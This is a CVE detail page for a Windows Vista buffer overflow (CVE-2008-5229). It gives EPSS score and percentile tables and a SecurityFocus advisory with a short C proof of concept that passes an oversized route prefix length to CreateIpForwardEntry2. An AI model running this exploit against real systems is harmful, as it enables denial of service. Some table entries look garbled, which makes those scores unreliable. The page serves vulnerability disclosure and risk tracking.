CVE-2008-5229 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	2.22%	–	–
2022-02-27	–	–	2.22%	–	–
2022-04-03	–	–	2.22%	–	–
2022-04-10	–	–	2.22%	–	–
2022-09-18	–	–	2.22%	–	–
2023-03-12	–	–	–	0.05%	–
2024-01-07	–	–	–	0.05%	–
2024-03-24	–	–	–	0.05%	–
2024-04-21	–	–	–	0.05%	–
2024-06-02	–	–	–	0.05%	–
2024-06-02	–	–	–	0.05%	–
2024-06-09	–	–	–	0.05%	–
2024-08-25	–	–	–	0.05%	–
2024-12-08	–	–	–	0.05%	–
2024-12-22	–	–	–	0.06%	–
2025-01-19	–	–	–	0.06%	–
2025-01-19	–	–	–	0.06%	–
2025-03-18	–	–	–	–	1.11%
2025-03-30	–	–	–	–	1.29%
2025-04-15	–	–	–	–	1.29%
2025-04-15	–	–	–	–	1.29,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	58%
2022-02-27	59%
2022-04-03	79%
2022-04-10	8%
2022-09-18	81%
2023-03-12	2%
2024-01-07	19%
2024-03-24	2%
2024-04-21	2%
2024-06-02	21%
2024-06-02	21%
2024-06-09	22%
2024-08-25	23%
2024-12-08	24%
2024-12-22	25%
2025-01-19	26%
2025-01-19	26%
2025-03-18	77%
2025-03-30	78%
2025-04-15	79%
2025-04-15	79%

// source: https://www.securityfocus.com/bid/32357/info // Microsoft Windows Vista is prone to a buffer-overflow vulnerability because of insufficient boundary checks. // Local attackers could exploit this issue to cause denial-of-service conditions. Given the nature of this issue, attackers may also be able to execute arbitrary code with SYSTEM-level privileges, but this has not been confirmed. // Windows Vista SP1 is vulnerable to this issue. // UPDATE (November 25, 2008): Since this issue may be exploitable only by members of the administrative group, the security implication of this issue may be negated. #define _WIN32_WINNT 0x0600 #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #include <ws2ipdef.h> #include <iphlpapi.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char** argv) { DWORD dwStatus; MIB_IPFORWARD_ROW2 route; if (argc != 3) { printf("Usage: %s <ifNum> <numOfBits>\n\n", argv[0]); return -1; } InitializeIpForwardEntry(&route); route.InterfaceIndex = atoi(argv[1]); route.DestinationPrefix.Prefix.si_family = AF_INET; route.DestinationPrefix.Prefix.Ipv4.sin_addr.s_addr = inet_addr("1.2.3.0"); route.DestinationPrefix.Prefix.Ipv4.sin_family = AF_INET; route.DestinationPrefix.PrefixLength = atoi(argv[2]); route.NextHop.Ipv4.sin_addr.s_addr = inet_addr("11.22.33.44"); route.NextHop.Ipv4.sin_family = AF_INET; route.SitePrefixLength = 0; route.Protocol = MIB_IPPROTO_NETMGMT; route.Origin = NlroManual; route.ValidLifetime = 0xffffffff; route.PreferredLifetime = 0xffffffff; route.Metric = 1; dwStatus = CreateIpForwardEntry2(&route); return dwStatus; }